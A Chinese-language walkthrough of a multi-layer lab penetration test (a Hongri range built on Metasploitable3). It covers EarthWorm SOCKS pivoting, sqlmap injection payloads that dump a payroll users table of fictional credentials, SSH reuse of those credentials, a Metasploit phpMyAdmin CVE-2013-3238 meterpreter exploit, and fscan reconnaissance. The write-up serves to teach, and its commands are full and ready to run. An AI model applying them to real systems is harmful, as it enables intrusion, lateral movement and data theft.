目录
[4、payroll_app.php SQL注入渗透](#4、payroll_app.php SQL注入渗透)
本文详细记录了一次红日靶场8的多层内网渗透测试过程。我们已成功控制第一层DMZ跳板机(192.168.59.143)与第二层内网主机(192.168.3.144),现需攻击第三层目标主机172.16.10.133。该目标为Linux服务器,开放22(SSH)、80(HTTP)、445(Samba)、3306(MySQL)等端口,其中80端口存在目录浏览安全风险。
🟢 已控制节点
-
Kali攻击机 (192.168.59.129)
-
位置:外部攻击起点
-
工具:Metasploit, Cobalt Strike, Nmap
-
作用:指挥控制中心,所有攻击流量的源头发起者
-
-
一层:DMZ跳板机 (192.168.59.143/192.168.3.128)
-
突破方式:MS17-010永恒之蓝
-
持久化:Cobalt Strike Beacon
-
功能:Socks代理,内外网流量转发枢纽
-
-
二层:内网主机A (192.168.3.144/172.16.10.128)
-
突破方式:通过DMZ跳板机进行MS17-010攻击
-
当前控制:Meterpreter会话
-
关键作用:连接192.168.3.0/24和172.16.10.0/24两个网段
-
🟡 当前攻击目标
-
三层:内网主机B (172.16.10.133/20.11.11.130)
-
操作系统:Linux(推测)
-
开放服务:SSH(22), HTTP(80), Samba(445), MySQL(3306)
-
风险点:Web目录浏览,可能的弱密码服务
-
战略价值:通往核心网络的必经之路
-

一、网络拓扑
- 外部网络
- Kali攻击机:Vmnet8-192.168.59.129
- 第一层内部网络
- DMZ跳板机: Vmnet8-192.168.59.143 Vmnet10网卡:192.168.3.128
- 第二层内部网络(vmnet10)
- 内网第一层Vmnet10网卡:192.168.3.144,Vmnet11网卡:172.16.10.128
- 第三层内部网络(vment11)
- 内网第二层:Vmnet11:172.16.10.133 vmnet12:20.11.11.130
- 第四层内部网络(vmnet12)
- 内网渗透目标DC:Vmnet12-20.11.11.129
- 内网渗透目标PC:Vmnet12-20.11.11.133
| 层级 | 网络区域 | 设备角色 | IP地址(网卡) | 功能/作用 | 当前状态 |
|---|---|---|---|---|---|
| 第0层 | 外部网络 | Kali攻击机 | Vmnet8: 192.168.59.129 | 攻击起点,C2服务器 | 🟢 攻击控制端 |
| 第1层 | DMZ区域 | DMZ跳板机 | Vmnet8: 192.168.59.143 Vmnet10: 192.168.3.128 | 边界防御突破点,第一跳板 | 🟢 已控制(CS Beacon) |
| 第2层 | 内部网络1 | 内网主机A | Vmnet10: 192.168.3.144 Vmnet11: 172.16.10.128 | 内网横向移动枢纽,双网卡桥接 | 🟢 已控制(Meterpreter) |
| 第3层 | 内部网络2 | 内网主机B | Vmnet11: 172.16.10.133 Vmnet12: 20.11.11.130 | 关键过渡节点,连接核心网络 | 🟡 攻击目标(未控制) |
| 第4层 | 核心网络 | 域控制器(DC) | Vmnet12: 20.11.11.129 | 最终目标,域管理权限 | 🔴 最终渗透目标 |
| 第4层 | 核心网络 | 客户端PC | Vmnet12: 20.11.11.133 | 次要目标,用户工作站 | 🔴 横向扩展目标 |
二、代理配置
1、二层代理
攻击目标为3层主机(172.16.10.133),因此攻击机需要搭建代理来访问攻击目标,这里选择ew工具。EarthWorm代理链构建了从外网Kali攻击机到内网第三层的完整隧道。首先在攻击机执行./ew_for_linux64 -s lcx_listen -l 12349 -e 1235,创建12349端口作为SOCKS5入口并开启1235端口等待中继连接;接着在已控的第一层跳板机(192.168.59.143)运行ew_win32.exe -s lcx_slave -d 192.168.59.129 -e 1235 -f 192.168.3.144 -g 9999,建立从攻击机到第二层主机的流量转发;然后在第二层内网主机(192.168.3.144)启动ew_win32.exe -s ssocksd -l 9999,提供访问172.16.10.0/24网段的SOCKS5代理服务。配置Proxychains添加socks5 0.0.0.0 12349后,使用proxychains curl -v http://172.16.10.133测试连通性

sequenceDiagram
participant K as Kali攻击机
participant D as DMZ跳板机
participant A as 内网主机A
Note over K,A: 阶段1:三层EW代理服务部署
K->>K: 启动EW监听器<br>./ew_for_linux64 -s lcx_listen -l 12349 -e 1235
Note right of K: 创建两个监听端口:<br>12349: SOCKS5代理入口<br>1235: 中继连接端口
K->>D: 上传并执行<br>ew_win32.exe -s lcx_slave -d 192.168.59.129 -e 1235 -f 192.168.3.144 -g 9999
Note right of D: 从属模式配置:<br>连接攻击机1235端口 转发到内网9999端口<br>跨越Vmnet8→Vmnet10边界
K->>A: 上传并执行<br>ew_win32.exe -s ssocksd -l 9999
Note right of A: SOCKS5服务模式: 监听9999端口<br>提供172.16.10.0/24代理
Note over K,A: 部署完成状态
K->>K: EW监听器运行中 端口: 12349, 1235
D->>D: EW从属模式运行中 连接: 192.168.59.129:1235<br>转发: 192.168.3.144:9999
A->>A: EW SOCKS5服务运行中 监听: 0.0.0.0:9999<br>网段: 172.16.10.0/24
(1)kali攻击机192.168.59.129
./ew_for_linux64 -s lcx_listen -l 12349 -e 1235
# -l 12349: 在Kali的12349端口提供SOCKS5服务
# -e 1235: 在1235端口等待Web1连接

(2)跳板机第一层192.168.59.143
中继模式(外网ip:192.168.59.143,内网1 ip:192.168.3.128)
ew_win32.exe -s lcx_slave -d 192.168.59.129 -e 1235 -f 192.168.3.144 -g 9999
# ↑ 连接Kali的1235端口,并转发到跳板机二层的9999端口
#-s : 指定工作模式
lcx_listen监听模式:在公网服务器上监听,接收来自lcx_slave的连接并转发数据,
lcx_slave中继模式:在中间跳板机上运行,连接lcx_listen和内网服务
ssocksd在内网机器上启动SOCKS5代理服务
# -d 192.168.59.129: 连接Kali的IP
# -e 1235: 连接Kali的1235端口
# -f 192.168.3.144: 转发到二层跳板机的IP(正确)
# -g 9999: 转发到二层跳板机的9999端口(需要与二层跳板机服务端口一致)

(3)跳板机第二层192.168.3.144
# PC1:SOCKS5服务模式(内网1ip: 192.168.3.144**,内网2ip:172.16.10.128)**
ew_win32.exe -s ssocksd -l 9999
# -l 9999: 在PC1的9999端口开启SOCKS5服务

2、攻击机proxychains代理配置
如果打算通过proxychains访问代理,需要配置
socks5 0.0.0.0 12349

测试代理的连通性
proxychains curl -v http://172.16.10.133

3、攻击路径总结
攻击流量路径如下所示,从Kali攻击机(192.168.59.129)出发,通过Proxychains配置本地SOCKS5代理指向EW监听器的12349端口。流量经EW的lcx_listen模式通过1235端口中继到DMZ跳板机(192.168.59.143)的lcx_slave服务,再转发至内网主机A(192.168.3.144)的ssocksd代理服务(9999端口)。最终由内网主机A作为跳板,直接访问目标主机B(172.16.10.133)的22、80、445、3306等开放服务端口,实现从外部网络到最深内网层的完整穿透。
1. 攻击工具 → Proxychains → 127.0.0.1:12349
│
2. Kali本地 → EW监听器 → 中继端口:1235
│
3. DMZ跳板机 ← 连接:192.168.59.129:1235
│
4. 内网主机A ← 转发:192.168.3.144:9999
│
5. 目标主机B ← 代理访问:172.16.10.133:[22|80|445|3306]

graph LR
subgraph "L0: Kali攻击机"
A[Kali<br>192.168.59.129]
B[Proxychains<br>代理配置]
C[EW监听器<br>入口:12349<br>中继:1235]
end
A --> B
B --> C
subgraph "L1: DMZ跳板机"
D[IP:192.168.59.143<br>192.168.3.128]
E[EW中继模式<br>lcx_slave<br>连接:1235→9999]
end
C -- "lcx隧道<br>1235端口" --> E
subgraph "L2: 内网主机A"
F[IP:192.168.3.144<br>172.16.10.128]
G[EW代理服务<br>ssocksd<br>监听:9999]
end
E -- "转发<br>192.168.3.144:9999" --> G
subgraph "L3: 目标主机B"
H[IP:172.16.10.133]
I[开放端口<br>22:SSH<br>80:HTTP<br>445:Samba<br>3306:MySQL]
end
G -- "代理访问" --> I
%% 样式设置
style A fill:#bbdefb
style D fill:#e1bee7
style F fill:#c8e6c9
style H fill:#ffccbc
style C fill:#90caf9
style E fill:#ce93d8
style G fill:#a5d6a7
style I fill:#ffab91
三、第三层渗透(黑盒)
1、dirsearch扫描
proxychains -q python dirsearch.py -u http://172.16.10.133 --exclude-status 400-499 --quiet

如下所示,目录扫描结果显示目标Web服务器(172.16.10.133:80)存在显著的安全隐患与潜在攻击向量。多个.htaccess相关文件返回403状态码,表明服务器配置了访问控制但可能存在配置不当风险。关键发现包括暴露的phpMyAdmin管理界面(/phpmyadmin/),其可访问性带来了数据库直接控制威胁,配合MySQL的3306端口开放,构成高危的数据库攻击链。此外,/drupal/目录提示可能部署了Drupal CMS系统,存在已知风险利用可能;/uploads/目录可访问则暗示文件上传功能,可能成为Webshell植入入口;/chat/目录可能包含未授权访问的通信功能。403状态码的/cgi-bin/和/server-status表明服务器运行Apache且可能开启敏感状态监控。整体暴露了从Web应用风险到数据库权限提升的完整攻击路径,phpMyAdmin的存在使其成为高优先级突破口。
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [17:10:32] 403 - 293B - /.htaccess.bak1 [17:10:32] 403 - 295B - /.htaccess.sample [17:10:32] 403 - 293B - /.htaccess.save [17:10:32] 403 - 293B - /.htaccess_orig [17:10:32] 403 - 294B - /.htaccess_extra [17:10:32] 403 - 290B - /.ht_wsr.txt [17:10:32] 403 - 291B - /.htaccessOLD [17:10:32] 403 - 292B - /.htaccessOLD2 [17:10:32] 403 - 283B - /.htm [17:10:32] 403 - 284B - /.html [17:10:32] 403 - 291B - /.htaccess_sc [17:10:32] 403 - 289B - /.htpasswds [17:10:32] 403 - 291B - /.htaccessBAK [17:10:32] 403 - 290B - /.httr-oauth [17:10:32] 403 - 293B - /.htpasswd_test [17:10:32] 403 - 293B - /.htaccess.orig [17:10:34] 403 - 283B - /.php [17:10:34] 403 - 284B - /.php3 [17:10:59] 403 - 287B - /cgi-bin/ [17:10:59] 301 - 310B - /chat -> http://172.16.10.133/chat/ [17:11:07] 301 - 312B - /drupal -> http://172.16.10.133/drupal/ [17:11:35] 301 - 316B - /phpmyadmin -> http://172.16.10.133/phpmyadmin/ [17:11:37] 200 - 31KB - /phpmyadmin/ChangeLog [17:11:37] 200 - 2KB - /phpmyadmin/README [17:11:37] 200 - 2KB - /phpmyadmin/index.php [17:11:37] 200 - 2KB - /phpmyadmin/ [17:11:46] 403 - 292B - /server-status [17:11:46] 403 - 293B - /server-status/ [17:12:00] 301 - 313B - /uploads -> http://172.16.10.133/uploads/ [17:12:00] 200 - 403B - /uploads/ |
2、index目录分析
(1)配置代理
浏览器配置socks5代理,具体步骤如下所示。

(2)目录探测
对index目录进行探测,具体如下所示。

3、Burpsuite代理
为了配置bp代理,接下来为bp配置代理。
(1)浏览器配置
具体步骤如下所示:本机浏览器 -> burpsuite(127.0.0.1:8080) ->代理服务器(192.168.59.129:12349) -> 目标服务器。

(2)burpsuite配置

4、payroll_app.php SQL注入渗透
(1)手工探测
对payroll_app.php进行sql注入渗透,如下所示打开payroll_app.php页面。

输入用户名admin,密码mooyuan并点击ok进行探测。

(2)bp抓包
Bp抓包,效果如下所示,右键保存到ljn.txt

(3)sqlmap渗透
使用sqlmap渗透,命令如下所示,通过三层EW代理链对目标数据库进行自动化渗透攻击的关键指令。proxychains -q静默启动代理转发,使sqlmap的流量通过此前建立的Kali→DMZ→内网主机A→目标B的完整隧道;-r ljn.txt指定从捕获的HTTP请求文件中读取目标信息,自动识别数据库类型与注入点;--current-db获取当前数据库名称,识别关键数据存储位置;--batch启用非交互模式,自动选择默认选项以加速渗透过程;--dump则直接导出数据库中的全部表数据。此命令组合实现了在内网深度代理环境下对目标MySQL数据库(172.16.10.133:3306)的自动化注入攻击与数据窃取,为后续凭证提取与横向移动提供关键情报。
proxychains -q sqlmap -r ljn.txt --current-db --batch --dump

(4)渗透成功
此次SQLMap渗透结果揭示了目标系统的严重安全风险与敏感数据泄露。检测发现登录页面的user参数存在两类SQL注入风险:基于时间的盲注和UNION联合查询注入,表明应用未对用户输入进行有效过滤。
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| sqlmap resumed the following injection point(s) from stored session: --- Parameter: user (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=admin' AND (SELECT 3054 FROM (SELECT(SLEEP(5)))jonk) AND 'nQiQ'='nQiQ&password=mooyuan&s=OK Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: user=admin' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6b7871,0x6c54755656515a4f55654e5873694950536161634f47777458527279744d6e4c6971484c52546448,0x7162787671),NULL-- -&password=mooyuan&s=OK --- [17:22:03] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP 5.4.5, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [17:22:03] [INFO] fetching current database current database: 'payroll' [17:22:03] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [17:22:03] [INFO] fetching current database [17:22:03] [INFO] fetching tables for database: 'payroll' [17:22:03] [WARNING] reflective value(s) found and filtering out [17:22:03] [INFO] fetching columns for table 'users' in database 'payroll' [17:22:03] [INFO] fetching entries for table 'users' in database 'payroll' Database: payroll Table: users [15 entries] +--------+-------------------------+------------------+------------+------------+ | salary | password | username | last_name | first_name | +--------+-------------------------+------------------+------------+------------+ | 9560 | help_me_obiwan | leia_organa | Organa | Leia | | 1080 | like_my_father_beforeme | luke_skywalker | Skywalker | Luke | | 1200 | nerf_herder | han_solo | Solo | Han | | 22222 | b00p_b33p | artoo_detoo | Detoo | Artoo | | 3200 | Pr0t0c07 | c_three_pio | Threepio | C | | 10000 | thats_no_m00n | ben_kenobi | Kenobi | Ben | | 6666 | Dark_syD3 | darth_vader | Vader | Darth | | 1025 | but_master:( | anakin_skywalker | Skywalker | Anakin | | 2048 | mesah_p@ssw0rd | jarjar_binks | Binks | Jar-Jar | | 40000 | @dm1n1str8r | lando_calrissian | Calrissian | Lando | | 20000 | mandalorian1 | boba_fett | Fett | Boba | | 65000 | my_kinda_skum | jabba_hutt | Hutt | Jaba | | 50000 | hanSh0tF1rst | greedo | Rodian | Greedo | | 4500 | rwaaaaawr8 | chewbacca | <blank> | Chewbacca | | 6667 | Daddy_Issues2 | kylo_ren | Ren | Kylo | +--------+-------------------------+------------------+------------+------------+ |
分析渗透结果可知目标系统为运行在Ubuntu Linux上的Apache 2.4.7与PHP 5.4.5环境,数据库为MySQL 5.0.12以上版本,其中payroll数据库的users表被完整导出,暴露了15条员工记录,包含用户名、明文密码、薪资等敏感信息。密码字段采用弱加密或明文存储(如"help_me_obiwan"、"like_my_father_beforeme"等)。这些凭证不仅可直接用于系统登录,还可能通过密码复用攻击其他服务(如SSH、phpMyAdmin)。

四、获取控制权
1、方法1:ssh登录
(1)配置代理


(2)ssh登录
登录成功后查看网站根目录下文件,打开payroll_app.php,如下所示。

(3)分析payroll_app.php文件
分析获得数据库'root'对应的密码为 'sploitme'
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| leia_organa@metasploitable3-ub1404:/var/www/html cat payroll_app.php \conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll'); if (conn-\>connect_error) { die("Connection failed: " . conn->connect_error); } ?> |
2、方法2:phpmyadmin
我们使用上一步获取到的用户名和密码登录phpmyadmin('root', 'sploitme'),通过Metasploit框架针对内网第三层目标(172.16.10.133)实施phpMyAdmin漏洞攻击。首先配置全局Socks5代理指向EarthWorm隧道入口(12349端口),确保流量穿透多层内网;随后选用phpMyAdmin的preg_replace漏洞模块(CVE-2013-3238),设置目标IP及Bind TCP载荷使目标监听端口;基于前期信息收集设置正确的phpMyAdmin登录密码(sploitee)。
msfconsole
setg Proxies socks5:192.168.59.129:12347
search phpmyadmin 3.5.8
use 0
set payload php/meterpreter/bind_tcp
set rhosts 172.16.10.133
set password sploitme
run

最终执行攻击,利用该漏洞在目标Linux服务器上实现远程代码执行,建立Meterpreter会话,为后续深入内网渗透建立关键立足点,如下所示渗透成功。

五、信息搜集
1、上传fscan
拖拽上传,如下所示。

2、fscan扫描
通过已控制的内网主机(172.16.10.133或192.168.3.144)对第四层核心网络20.11.11.0/24进行主动扫描,旨在发现域控制器(20.11.11.129)与客户端(20.11.11.133)的具体服务暴露情况。chmod +x fscan_amd64为Linux版fscan工具添加可执行权限,./fscan_amd64 -h 20.11.11.0/24则对目标网段进行全端口扫描与探测,重点识别Windows域服务端口(如88/Kerberos、389/LDAP、445/SMB、636/LDAPS)及远程管理端口(3389/RDP、5985/WinRM),为最终阶段的内网域渗透提供关键情报,构建从第三层到第四层网络的完整攻击地图。
chmod +x fscan_amd64
./fscan_amd64 -h 20.11.11.0/24

此次对第四层网络20.11.11.0/24的扫描揭示了完整的域环境架构与高危攻击面。域控制器DC (20.11.11.129)确认存在MS17-010永恒之蓝漏洞,运行Windows Server 2012 R2 Datacenter,域名DC.qiyuan-my.com,此为最高价值目标,控制后即可获得整个域的管理权限。过渡主机 (20.11.11.130)为Windows 6.1系统,开放Web目录浏览,可能作为域成员或应用服务器,是攻击DC的潜在跳板。客户端设备 (20.11.11.132)运行多个Web服务(7777、8888、8000端口),其中8000端口暴露目录浏览,WORKGROUP\DESKTOP-V2UNPOT表明其为独立工作组计算机。网关(20.11.11.1)为普通Windows桌面。攻击路径已明确:优先利用DC的MS17-010漏洞直接获取域控权限,或通过20.11.11.130作为内网横向跳板,最终实现对整个核心网络的控制。
